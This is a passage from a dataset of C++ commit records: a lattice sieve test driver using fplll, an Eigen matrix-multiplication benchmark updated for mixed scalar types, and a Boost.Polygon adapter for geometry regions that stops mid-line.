lattice of dim =  \" << dim << endl;\n\/\/        test_run_sieve<mpz_t>(dim, ofs);\n\/\/        ofs << \"----------------------------------------\" << endl;\n\/\/    }\n\/\/   ofs.close();\n  return 1;\n}\n<commit_msg>now compiles<commit_after>#define USE_REGULAR_QUEUE \/\/comment out if you use priority-queue\n\n\n#include \"sieve_main.h\"\n#include \"fplll.h\"\n#include \"LatticePoint.h\"\n#include \"PointList.h\"\n#include <thread>\n#include <chrono>\n#include \"SieveGauss.h\"\n#include \"LatticePoint2.h\"\n#include <iostream>\n#include <fstream>\n#include \"Sampler.h\"\n#include <random>\n\/\/#include \"FilteredList.h\"\n\nusing namespace fplll;\n\n\/\/ Z_NR can be either long, double, or mpz_t\n\ntemplate <class ZT> void test_run_sieve(int dim, std::ofstream &ofs)\n{\n    \/\/TerminationConditions< Z_NR<ZT> > term_cond; \/\/sets target-legnth as Mink. bound\n\n\n    \/\/lll_reduction(B, LLL_DEF_DELTA, LLL_DEF_ETA, LM_WRAPPER);\n    \/\/Sieve<Z_NR<ZT>, false> Test_Queue (B);\n    \/\/Test_Queue.run_2_sieve();\n\n    ZZ_mat<ZT> BTest;\n    BTest.resize(dim, dim);\n    \/\/BTest.gen_trg(1.1);\n    srand (1);\n    BTest.gen_qary_prime(1, 10*dim);\n\n    if (dim >= 60)\n        bkz_reduction(BTest, 8, BKZ_DEFAULT, FT_DEFAULT, 0);\n    else\n        lll_reduction(BTest, LLL_DEF_DELTA, LLL_DEF_ETA, LM_WRAPPER);\n\n    Sieve<Z_NR<ZT>, false> Test_Queue (BTest);\n\n    ofs << \"sieve is run on B[0]\" << BTest[0] << endl;\n\n    auto start = std::chrono::high_resolution_clock::now();\n    Test_Queue.run();\n    auto finish = std::chrono::high_resolution_clock::now();\n    auto microseconds = std::chrono::duration_cast<std::chrono::microseconds>(finish-start);\n\n    Test_Queue.print_status(-1,ofs);\n\n\n    ofs << \" Time taken: \" << microseconds.count()\/1000000.0 << \"sec\" << endl;\n}\n\ntemplate <class Z> void sample_gaussians(int number, double s, double center, double cutoff)\n{\n    std::mt19937_64 engine;\n    for (int i=0; i<number;++i)\n    {\n        cout << GaussSieve::sample_z_gaussian<Z, std::mt19937_64>(s,center,engine, cutoff) << endl;\n    }\n}\n\nint main(int argc, char **argv)\n{\nsample_gaussians<long>(50, 10.0, 0.3, 4.0);\nsample_gaussians<long>(50, 0.0000001, 0.48, 4.0); \/\/should still be fast.\n\n\nZZ_mat<mpz_t> B,u,u_inv;\nB.resize(10, 10);\nMatrix<FP_NR<double > > r,mu;\nMatrix<Z_NR<mpz_t> > g;\n    \/\/generates a lower-triangular matrix B; the argument determines (in a complicated way) the bit-size of entries\n    \/\/B.gen_trg(1.1);\n\nsrand (1);\n    \/\/generates GM lattice\nB.gen_qary_prime(1, 15);\n\n\nauto pGSO = new MatGSO<Z_NR<mpz_t>, FP_NR<double>>(B, u, u_inv, 1);\n\n  pGSO->update_gso();\n  mu = pGSO->get_mu_matrix();\n  r  = pGSO->get_r_matrix();\n  g  = pGSO->get_g_matrix();\n\ncout << B << endl;\ncout << mu<< endl;\ncout << r << endl;\ncout << g << endl;\n\n\n\/\/        \/\/int dim[] = {52, 54, 56, 58, 60, 62, 64};\n\/\/        int dim = 62;\n\/\/        int length = 7;\n\/\/\n\/\/    \t#ifdef USE_REGULAR_QUEUE\n\/\/        std::ofstream ofs(\"test_sieve_PQ_dim\" +to_string(dim) + \".txt\");\n\/\/\t\tofs << \"WITH PRIORITY QUEUE\" << endl;\n\/\/\t#else\n\/\/\t\tstd::ofstream ofs(\"test_sieve_dim\"+to_string(dim) + \".txt\");\n\/\/\t\tofs << \"WITH STANDARD QUEUE\" << endl;\n\/\/\t#endif\n\/\/\tfor (int i=0; i<length; i++) {\n\/\/\n\/\/\n\/\/\t\tofs << \"start sieve on lattice of dim = \" << dim[i] << endl;\n\/\/        \ttest_run_sieve<mpz_t>(dim[i], ofs);\n\/\/\t\tofs << \"----------------------------------------\" << endl;\n\/\/\t}\n\n\/\/    for (int i=0; i<1; i++)\n\/\/    {\n\/\/        ofs << \"start sieve on lattice of dim =  \" << dim << endl;\n\/\/        test_run_sieve<mpz_t>(dim, ofs);\n\/\/        ofs << \"----------------------------------------\" << endl;\n\/\/    }\n\/\/   ofs.close();\n  return 1;\n}\n<|endoftext|>"}
{"text":"<commit_before>\n\/\/ g++-4.4 bench_gemm.cpp -I .. -O2 -DNDEBUG -lrt -fopenmp && OMP_NUM_THREADS=2  .\/a.out\n\/\/ icpc bench_gemm.cpp -I .. -O3 -DNDEBUG -lrt -openmp  && OMP_NUM_THREADS=2  .\/a.out\n\n#include <iostream>\n#include <Eigen\/Core>\n#include <bench\/BenchTimer.h>\n\nusing namespace std;\nusing namespace Eigen;\n\n#ifndef SCALAR\n#define SCALAR std::complex<double>\n\/\/ #define SCALAR double\n#endif\n\ntypedef SCALAR Scalar;\ntypedef Matrix<Scalar,Dynamic,Dynamic> M;\n\n#ifdef HAVE_BLAS\n\nextern \"C\" {\n  #include <bench\/btl\/libs\/C_BLAS\/blas.h>\n}\n\nstatic float fone = 1;\nstatic float fzero = 0;\nstatic double done = 1;\nstatic double szero = 0;\nstatic std::complex<float> cfone = 1;\nstatic std::complex<float> cfzero = 0;\nstatic std::complex<double> cdone = 1;\nstatic std::complex<double> cdzero = 0;\nstatic char notrans = 'N';\nstatic char trans = 'T';\nstatic char nonunit = 'N';\nstatic char lower = 'L';\nstatic char right = 'R';\nstatic int intone = 1;\n\nvoid blas_gemm(const MatrixXf& a, const MatrixXf& b, MatrixXf& c)\n{\n  int M = c.rows(); int N = c.cols(); int K = a.cols();\n  int lda = a.rows(); int ldb = b.rows(); int ldc = c.rows();\n\n  sgemm_(&notrans,&notrans,&M,&N,&K,&fone,\n         const_cast<float*>(a.data()),&lda,\n         const_cast<float*>(b.data()),&ldb,&fone,\n         c.data(),&ldc);\n}\n\nvoid blas_gemm(const MatrixXcf& a, const MatrixXcf& b, MatrixXcf& c)\n{\n  int M = c.rows(); int N = c.cols(); int K = a.cols();\n  int lda = a.rows(); int ldb = b.rows(); int ldc = c.rows();\n\n  cgemm_(&notrans,&notrans,&M,&N,&K,(float*)&cfone,\n         const_cast<float*>((const float*)a.data()),&lda,\n         const_cast<float*>((const float*)b.data()),&ldb,(float*)&cfone,\n         (float*)c.data(),&ldc);\n}\n\nvoid blas_gemm(const MatrixXcd& a, const MatrixXcd& b, MatrixXcd& c)\n{\n  int M = c.rows(); int N = c.cols(); int K = a.cols();\n  int lda = a.rows(); int ldb = b.rows(); int ldc = c.rows();\n\n  zgemm_(&notrans,&notrans,&M,&N,&K,(double*)&cdone,\n         const_cast<double*>((const double*)a.data()),&lda,\n         const_cast<double*>((const double*)b.data()),&ldb,(double*)&cdone,\n         (double*)c.data(),&ldc);\n}\n\nvoid blas_gemm(const MatrixXd& a, const MatrixXd& b, MatrixXd& c)\n{\n  int M = c.rows(); int N = c.cols(); int K = a.cols();\n  int lda = a.rows(); int ldb = b.rows(); int ldc = c.rows();\n\n  dgemm_(&notrans,&notrans,&M,&N,&K,&done,\n         const_cast<double*>(a.data()),&lda,\n         const_cast<double*>(b.data()),&ldb,&done,\n         c.data(),&ldc);\n}\n\n#endif\n\ntemplate<typename M>\nEIGEN_DONT_INLINE void gemm(const M& a, const M& b, M& c)\n{\n  c.noalias() += a * b;\n}\n\nint main(int argc, char ** argv)\n{\n  std::ptrdiff_t l1 = ei_queryL1CacheSize();\n  std::ptrdiff_t l2 = ei_queryTopLevelCacheSize();\n  std::cout << \"L1 cache size     = \" << (l1>0 ? l1\/1024 : -1) << \" KB\\n\";\n  std::cout << \"L2\/L3 cache size  = \" << (l2>0 ? l2\/1024 : -1) << \" KB\\n\";\n  typedef ei_product_blocking_traits<Scalar> Blocking;\n  std::cout << \"Register blocking = \" << Blocking::mr << \" x \" << Blocking::nr << \"\\n\";\n\n  int rep = 1;    \/\/ number of repetitions per try\n  int tries = 2;  \/\/ number of tries, we keep the best\n\n  int s = 2048;\n  int cache_size = -1;\n\n  bool need_help = false;\n  for (int i=1; i<argc; ++i)\n  {\n    if(argv[i][0]=='s')\n      s = atoi(argv[i]+1);\n    else if(argv[i][0]=='c')\n      cache_size = atoi(argv[i]+1);\n    else if(argv[i][0]=='t')\n      tries = atoi(argv[i]+1);\n    else if(argv[i][0]=='p')\n      rep = atoi(argv[i]+1);\n    else\n      need_help = true;\n  }\n\n  if(need_help)\n  {\n    std::cout << argv[0] << \" s<matrix size> c<cache size> t<nb tries> p<nb repeats>\\n\";\n    return 1;\n  }\n\n  if(cache_size>0)\n    setCpuCacheSizes(cache_size,96*cache_size);\n\n  int m = s;\n  int n = s;\n  int p = s;\n  M a(m,n); a.setRandom();\n  M b(n,p); b.setRandom();\n  M c(m,p); c.setOnes();\n\n  std::cout << \"Matrix sizes = \" << m << \"x\" << p << \" * \" << p << \"x\" << n << \"\\n\";\n  std::ptrdiff_t cm(m), cn(n), ck(p);\n  computeProductBlockingSizes<Scalar,Scalar>(ck, cm, cn);\n  std::cout << \"blocking size = \" << cm << \" x \" << ck << \"\\n\";\n\n  M r = c;\n\n  \/\/ check the parallel product is correct\n  #ifdef EIGEN_HAS_OPENMP\n  int procs = omp_get_max_threads();\n  if(procs>1)\n  {\n    #ifdef HAVE_BLAS\n    blas_gemm(a,b,r);\n    #else\n    omp_set_num_threads(1);\n    r.noalias() += a * b;\n    omp_set_num_threads(procs);\n    #endif\n    c.noalias() += a * b;\n    if(!r.isApprox(c)) std::cerr << \"Warning, your parallel product is crap!\\n\\n\";\n  }\n  #endif\n\n  #ifdef HAVE_BLAS\n  BenchTimer tblas;\n  BENCH(tblas, tries, rep, blas_gemm(a,b,c));\n  std::cout << \"blas  cpu         \" << tblas.best(CPU_TIMER)\/rep  << \"s  \\t\" << (double(m)*n*p*rep*2\/tblas.best(CPU_TIMER))*1e-9  <<  \" GFLOPS \\t(\" << tblas.total(CPU_TIMER)  << \"s)\\n\";\n  std::cout << \"blas  real        \" << tblas.best(REAL_TIMER)\/rep << \"s  \\t\" << (double(m)*n*p*rep*2\/tblas.best(REAL_TIMER))*1e-9 <<  \" GFLOPS \\t(\" << tblas.total(REAL_TIMER) << \"s)\\n\";\n  #endif\n\n  BenchTimer tmt;\n  BENCH(tmt, tries, rep, gemm(a,b,c));\n  std::cout << \"eigen cpu         \" << tmt.best(CPU_TIMER)\/rep  << \"s  \\t\" << (double(m)*n*p*rep*2\/tmt.best(CPU_TIMER))*1e-9  <<  \" GFLOPS \\t(\" << tmt.total(CPU_TIMER)  << \"s)\\n\";\n  std::cout << \"eigen real        \" << tmt.best(REAL_TIMER)\/rep << \"s  \\t\" << (double(m)*n*p*rep*2\/tmt.best(REAL_TIMER))*1e-9 <<  \" GFLOPS \\t(\" << tmt.total(REAL_TIMER) << \"s)\\n\";\n\n  #ifdef EIGEN_HAS_OPENMP\n  if(procs>1)\n  {\n    BenchTimer tmono;\n    \/\/omp_set_num_threads(1);\n    Eigen::setNbThreads(1);\n    BENCH(tmono, tries, rep, gemm(a,b,c));\n    std::cout << \"eigen mono cpu    \" << tmono.best(CPU_TIMER)\/rep  << \"s  \\t\" << (double(m)*n*p*rep*2\/tmono.best(CPU_TIMER))*1e-9  <<  \" GFLOPS \\t(\" << tmono.total(CPU_TIMER)  << \"s)\\n\";\n    std::cout << \"eigen mono real   \" << tmono.best(REAL_TIMER)\/rep << \"s  \\t\" << (double(m)*n*p*rep*2\/tmono.best(REAL_TIMER))*1e-9 <<  \" GFLOPS \\t(\" << tmono.total(REAL_TIMER) << \"s)\\n\";\n    std::cout << \"mt speed up x\" << tmono.best(CPU_TIMER) \/ tmt.best(REAL_TIMER)  << \" => \" << (100.0*tmono.best(CPU_TIMER) \/ tmt.best(REAL_TIMER))\/procs << \"%\\n\";\n  }\n  #endif\n\n  return 0;\n}\n\n<commit_msg>update to support mixin types<commit_after>\n\/\/ g++-4.4 bench_gemm.cpp -I .. -O2 -DNDEBUG -lrt -fopenmp && OMP_NUM_THREADS=2  .\/a.out\n\/\/ icpc bench_gemm.cpp -I .. -O3 -DNDEBUG -lrt -openmp  && OMP_NUM_THREADS=2  .\/a.out\n\n#include <iostream>\n#include <Eigen\/Core>\n#include <bench\/BenchTimer.h>\n\nusing namespace std;\nusing namespace Eigen;\n\n#ifndef SCALAR\n#define SCALAR std::complex<double>\n\/\/ #define SCALAR double\n#endif\n\ntypedef SCALAR Scalar;\ntypedef NumTraits<Scalar>::Real RealScalar;\ntypedef Matrix<RealScalar,Dynamic,Dynamic> A;\ntypedef Matrix<Scalar,Dynamic,Dynamic> B;\ntypedef Matrix<Scalar,Dynamic,Dynamic> C;\n\n#ifdef HAVE_BLAS\n\nextern \"C\" {\n  #include <bench\/btl\/libs\/C_BLAS\/blas.h>\n}\n\nstatic float fone = 1;\nstatic float fzero = 0;\nstatic double done = 1;\nstatic double szero = 0;\nstatic std::complex<float> cfone = 1;\nstatic std::complex<float> cfzero = 0;\nstatic std::complex<double> cdone = 1;\nstatic std::complex<double> cdzero = 0;\nstatic char notrans = 'N';\nstatic char trans = 'T';\nstatic char nonunit = 'N';\nstatic char lower = 'L';\nstatic char right = 'R';\nstatic int intone = 1;\n\nvoid blas_gemm(const MatrixXf& a, const MatrixXf& b, MatrixXf& c)\n{\n  int M = c.rows(); int N = c.cols(); int K = a.cols();\n  int lda = a.rows(); int ldb = b.rows(); int ldc = c.rows();\n\n  sgemm_(&notrans,&notrans,&M,&N,&K,&fone,\n         const_cast<float*>(a.data()),&lda,\n         const_cast<float*>(b.data()),&ldb,&fone,\n         c.data(),&ldc);\n}\n\nvoid blas_gemm(const MatrixXcf& a, const MatrixXcf& b, MatrixXcf& c)\n{\n  int M = c.rows(); int N = c.cols(); int K = a.cols();\n  int lda = a.rows(); int ldb = b.rows(); int ldc = c.rows();\n\n  cgemm_(&notrans,&notrans,&M,&N,&K,(float*)&cfone,\n         const_cast<float*>((const float*)a.data()),&lda,\n         const_cast<float*>((const float*)b.data()),&ldb,(float*)&cfone,\n         (float*)c.data(),&ldc);\n}\n\nvoid blas_gemm(const MatrixXcd& a, const MatrixXcd& b, MatrixXcd& c)\n{\n  int M = c.rows(); int N = c.cols(); int K = a.cols();\n  int lda = a.rows(); int ldb = b.rows(); int ldc = c.rows();\n\n  zgemm_(&notrans,&notrans,&M,&N,&K,(double*)&cdone,\n         const_cast<double*>((const double*)a.data()),&lda,\n         const_cast<double*>((const double*)b.data()),&ldb,(double*)&cdone,\n         (double*)c.data(),&ldc);\n}\n\nvoid blas_gemm(const MatrixXd& a, const MatrixXd& b, MatrixXd& c)\n{\n  int M = c.rows(); int N = c.cols(); int K = a.cols();\n  int lda = a.rows(); int ldb = b.rows(); int ldc = c.rows();\n\n  dgemm_(&notrans,&notrans,&M,&N,&K,&done,\n         const_cast<double*>(a.data()),&lda,\n         const_cast<double*>(b.data()),&ldb,&done,\n         c.data(),&ldc);\n}\n\n#endif\n\ntemplate<typename A, typename B, typename C>\nEIGEN_DONT_INLINE void gemm(const A& a, const B& b, C& c)\n{\n  c.noalias() += a * b;\n}\n\nint main(int argc, char ** argv)\n{\n  std::ptrdiff_t l1 = ei_queryL1CacheSize();\n  std::ptrdiff_t l2 = ei_queryTopLevelCacheSize();\n  std::cout << \"L1 cache size     = \" << (l1>0 ? l1\/1024 : -1) << \" KB\\n\";\n  std::cout << \"L2\/L3 cache size  = \" << (l2>0 ? l2\/1024 : -1) << \" KB\\n\";\n  typedef ei_product_blocking_traits<Scalar,Scalar> Blocking;\n  std::cout << \"Register blocking = \" << Blocking::mr << \" x \" << Blocking::nr << \"\\n\";\n\n  int rep = 1;    \/\/ number of repetitions per try\n  int tries = 2;  \/\/ number of tries, we keep the best\n\n  int s = 2048;\n  int cache_size = -1;\n\n  bool need_help = false;\n  for (int i=1; i<argc; ++i)\n  {\n    if(argv[i][0]=='s')\n      s = atoi(argv[i]+1);\n    else if(argv[i][0]=='c')\n      cache_size = atoi(argv[i]+1);\n    else if(argv[i][0]=='t')\n      tries = atoi(argv[i]+1);\n    else if(argv[i][0]=='p')\n      rep = atoi(argv[i]+1);\n    else\n      need_help = true;\n  }\n\n  if(need_help)\n  {\n    std::cout << argv[0] << \" s<matrix size> c<cache size> t<nb tries> p<nb repeats>\\n\";\n    return 1;\n  }\n\n  if(cache_size>0)\n    setCpuCacheSizes(cache_size,96*cache_size);\n\n  int m = s;\n  int n = s;\n  int p = s;\n  A a(m,n); a.setRandom();\n  B b(n,p); b.setRandom();\n  C c(m,p); c.setOnes();\n\n  std::cout << \"Matrix sizes = \" << m << \"x\" << p << \" * \" << p << \"x\" << n << \"\\n\";\n  std::ptrdiff_t cm(m), cn(n), ck(p);\n  computeProductBlockingSizes<Scalar,Scalar>(ck, cm, cn);\n  std::cout << \"blocking size = \" << cm << \" x \" << ck << \"\\n\";\n\n  C r = c;\n\n  \/\/ check the parallel product is correct\n  #ifdef EIGEN_HAS_OPENMP\n  int procs = omp_get_max_threads();\n  if(procs>1)\n  {\n    #ifdef HAVE_BLAS\n    blas_gemm(a,b,r);\n    #else\n    omp_set_num_threads(1);\n    r.noalias() += a * b;\n    omp_set_num_threads(procs);\n    #endif\n    c.noalias() += a * b;\n    if(!r.isApprox(c)) std::cerr << \"Warning, your parallel product is crap!\\n\\n\";\n  }\n  #endif\n\n  #ifdef HAVE_BLAS\n  BenchTimer tblas;\n  BENCH(tblas, tries, rep, blas_gemm(a,b,c));\n  std::cout << \"blas  cpu         \" << tblas.best(CPU_TIMER)\/rep  << \"s  \\t\" << (double(m)*n*p*rep*2\/tblas.best(CPU_TIMER))*1e-9  <<  \" GFLOPS \\t(\" << tblas.total(CPU_TIMER)  << \"s)\\n\";\n  std::cout << \"blas  real        \" << tblas.best(REAL_TIMER)\/rep << \"s  \\t\" << (double(m)*n*p*rep*2\/tblas.best(REAL_TIMER))*1e-9 <<  \" GFLOPS \\t(\" << tblas.total(REAL_TIMER) << \"s)\\n\";\n  #endif\n\n  BenchTimer tmt;\n  BENCH(tmt, tries, rep, gemm(a,b,c));\n  std::cout << \"eigen cpu         \" << tmt.best(CPU_TIMER)\/rep  << \"s  \\t\" << (double(m)*n*p*rep*2\/tmt.best(CPU_TIMER))*1e-9  <<  \" GFLOPS \\t(\" << tmt.total(CPU_TIMER)  << \"s)\\n\";\n  std::cout << \"eigen real        \" << tmt.best(REAL_TIMER)\/rep << \"s  \\t\" << (double(m)*n*p*rep*2\/tmt.best(REAL_TIMER))*1e-9 <<  \" GFLOPS \\t(\" << tmt.total(REAL_TIMER) << \"s)\\n\";\n\n  #ifdef EIGEN_HAS_OPENMP\n  if(procs>1)\n  {\n    BenchTimer tmono;\n    \/\/omp_set_num_threads(1);\n    Eigen::setNbThreads(1);\n    BENCH(tmono, tries, rep, gemm(a,b,c));\n    std::cout << \"eigen mono cpu    \" << tmono.best(CPU_TIMER)\/rep  << \"s  \\t\" << (double(m)*n*p*rep*2\/tmono.best(CPU_TIMER))*1e-9  <<  \" GFLOPS \\t(\" << tmono.total(CPU_TIMER)  << \"s)\\n\";\n    std::cout << \"eigen mono real   \" << tmono.best(REAL_TIMER)\/rep << \"s  \\t\" << (double(m)*n*p*rep*2\/tmono.best(REAL_TIMER))*1e-9 <<  \" GFLOPS \\t(\" << tmono.total(REAL_TIMER) << \"s)\\n\";\n    std::cout << \"mt speed up x\" << tmono.best(CPU_TIMER) \/ tmt.best(REAL_TIMER)  << \" => \" << (100.0*tmono.best(CPU_TIMER) \/ tmt.best(REAL_TIMER))\/procs << \"%\\n\";\n  }\n  #endif\n\n  return 0;\n}\n\n<|endoftext|>"}
{"text":"<commit_before>#pragma once\n\n#include \"..\/point2d.hpp\"\n#include \"..\/region2d.hpp\"\n\n#include \"..\/..\/3party\/boost\/boost\/polygon\/polygon.hpp\"\n\n#include \"..\/..\/std\/vector.hpp\"\n\n\nnamespace boost { namespace polygon {\n\n  typedef int32_t my_coord_t;\n\n  \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n  \/\/ Point concept.\n  \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n  typedef m2::PointI my_point_t;\n\n  template <>\n  struct geometry_concept<my_point_t>\n  {\n    typedef point_concept type;\n  };\n\n  template <>\n  struct point_traits<my_point_t>\n  {\n    typedef my_point_t::value_type coordinate_type;\n\n    static inline coordinate_type get(my_point_t const & p, orientation_2d o)\n    {\n      return ((o == HORIZONTAL) ? p.x : p.y);\n    }\n  };\n\n  template <>\n  struct point_mutable_traits<my_point_t>\n  {\n    typedef my_point_t::value_type CoordT;\n\n    static inline void set(my_point_t & p, orientation_2d o, CoordT v)\n    {\n      if (o == HORIZONTAL)\n        p.x = v;\n      else\n        p.y = v;\n    }\n\n    static inline my_point_t construct(CoordT x, CoordT y)\n    {\n      return my_point_t(x, y);\n    }\n  };\n\n  \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n  \/\/ Polygon concept.\n  \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n  typedef m2::RegionI my_region_t;\n\n  template <>\n  struct geometry_concept<my_region_t>\n  {\n    typedef polygon_concept type;\n  };\n\n  template <>\n  struct polygon_traits<my_region_t>\n  {\n    typedef my_region_t::CoordT coordinate_type;\n    typedef my_region_t::IteratorT iterator_type;\n    typedef my_region_t::ValueT point_type;\n\n    \/\/ Get the begin iterator\n    static inline iterator_type begin_points(my_region_t const & t)\n    {\n      return t.Begin();\n    }\n\n    \/\/ Get the end iterator\n    static inline iterator_type end_points(my_region_t const & t)\n    {\n      return t.End();\n    }\n\n    \/\/ Get the number of sides of the polygon\n    static inline size_t size(my_region_t const & t)\n    {\n      return t.Size();\n    }\n\n    \/\/ Get the winding direction of the polygon\n    static inline winding_direction winding(my_region_t const & \/*t*\/)\n    {\n      return unknown_winding;\n    }\n  };\n\n  struct my_point_getter\n  {\n    my_point_t operator() (point_data<my_coord_t> const & t)\n    {\n      return my_point_t(t.x(), t.y());\n    }\n  };\n\n  template <>\n  struct polygon_mutable_traits<my_region_t>\n  {\n    \/\/ expects stl style iterators\n    template <typename IterT>\n    static inline my_region_t & set_points(my_region_t & t, IterT b, IterT e)\n    {\n      t.AssignEx(b, e, my_point_getter());\n      return t;\n    }\n  };\n\n  \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n  \/\/ Polygon set concept.\n  \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n  typedef vector<my_region_t> my_region_set_t;\n\n  template <>\n  struct geometry_concept<my_region_set_t>\n  {\n    typedef polygon_set_concept type;\n  };\n\n  \/\/ next we map to the concept through traits\n  template <>\n  struct polygon_set_traits<my_region_set_t>\n  {\n    typedef my_coord_t coordinate_type;\n    typedef my_region_set_t::const_iterator iterator_type;\n    typedef my_region_set_t operator_arg_type;\n\n    static inline iterator_type begin(my_region_set_t const & t)\n    {\n      return t.begin();\n    }\n\n    static inline iterator_type end(my_region_set_t const & t)\n    {\n      return t.end();\n    }\n\n    \/\/ don't worry about these, just return false from them\n    static inline bool clean(my_region_set_t const & \/*t*\/) { return false; }\n    static inline bool sorted(my_region_set_t const & \/*t*\/) { return false; }\n  };\n\n  template <>\n  struct polygon_set_mutable_traits<my_region_set_t>\n  {\n    template <typename IterT>\n    static inline void set(my_region_set_t & poly_set, IterT b, IterT e)\n    {\n      poly_set.clear();\n\n      \/\/ this is kind of cheesy. I am copying the unknown input geometry\n      \/\/ into my own polygon set and then calling get to populate the vector\n      polygon_set_data<my_coord_t> ps;\n      ps.insert(b, e);\n      ps.get(poly_set);\n\n      \/\/ if you had your own odd-ball polygon set you would probably have\n      \/\/ to iterate through each polygon at this point and do something extra\n    }\n  };\n}}\n<commit_msg>[ios] Fixed simulator build error<commit_after>#pragma once\n\n#include \"..\/point2d.hpp\"\n#include \"..\/region2d.hpp\"\n\n#include \"..\/..\/3party\/boost\/boost\/polygon\/detail\/polygon_sort_adaptor.hpp\"\n#include \"..\/..\/3party\/boost\/boost\/polygon\/polygon.hpp\"\n\n#include \"..\/..\/std\/vector.hpp\"\n\n\nnamespace boost { namespace polygon {\n\n  typedef int32_t my_coord_t;\n\n  \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n  \/\/ Point concept.\n  \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n  typedef m2::PointI my_point_t;\n\n  template <>\n  struct geometry_concept<my_point_t>\n  {\n    typedef point_concept type;\n  };\n\n  template <>\n  struct point_traits<my_point_t>\n  {\n    typedef my_point_t::value_type coordinate_type;\n\n    static inline coordinate_type get(my_point_t const & p, orientation_2d o)\n    {\n      return ((o == HORIZONTAL) ? p.x : p.y);\n    }\n  };\n\n  template <>\n  struct point_mutable_traits<my_point_t>\n  {\n    typedef my_point_t::value_type CoordT;\n\n    static inline void set(my_point_t & p, orientation_2d o, CoordT v)\n    {\n      if (o == HORIZONTAL)\n        p.x = v;\n      else\n        p.y = v;\n    }\n\n    static inline my_point_t construct(CoordT x, CoordT y)\n    {\n      return my_point_t(x, y);\n    }\n  };\n\n  \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n  \/\/ Polygon concept.\n  \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n  typedef m2::RegionI my_region_t;\n\n  template <>\n  struct geometry_concept<my_region_t>\n  {\n    typedef polygon_concept type;\n  };\n\n  template <>\n  struct polygon_traits<my_region_t>\n  {\n    typedef my_region_t::CoordT coordinate_type;\n    typedef my_region_t::IteratorT iterator_type;\n    typedef my_region_t::ValueT point_type;\n\n    \/\/ Get the begin iterator\n    static inline iterator_type begin_points(my_region_t const & t)\n    {\n      return t.Begin();\n    }\n\n    \/\/ Get the end iterator\n    static inline iterator_type end_points(my_region_t const & t)\n    {\n      return t.End();\n    }\n\n    \/\/ Get the number of sides of the polygon\n    static inline size_t size(my_region_t const & t)\n    {\n      return t.Size();\n    }\n\n    \/\/ Get the winding direction of the polygon\n    static inline winding_direction winding(my_region_t const & \/*t*\/)\n    {\n      return unknown_winding;\n    }\n  };\n\n  struct my_point_getter\n  {\n    my_point_t operator() (point_data<my_coord_t> const & t)\n    {\n      return my_point_t(t.x(), t.y());\n    }\n  };\n\n  template <>\n  struct polygon_mutable_traits<my_region_t>\n  {\n    \/\/ expects stl style iterators\n    template <typename IterT>\n    static inline my_region_t & set_points(my_region_t & t, IterT b, IterT e)\n    {\n      t.AssignEx(b, e, my_point_getter());\n      return t;\n    }\n  };\n\n  \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n  \/\/ Polygon set concept.\n  \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n  typedef vector<my_region_t> 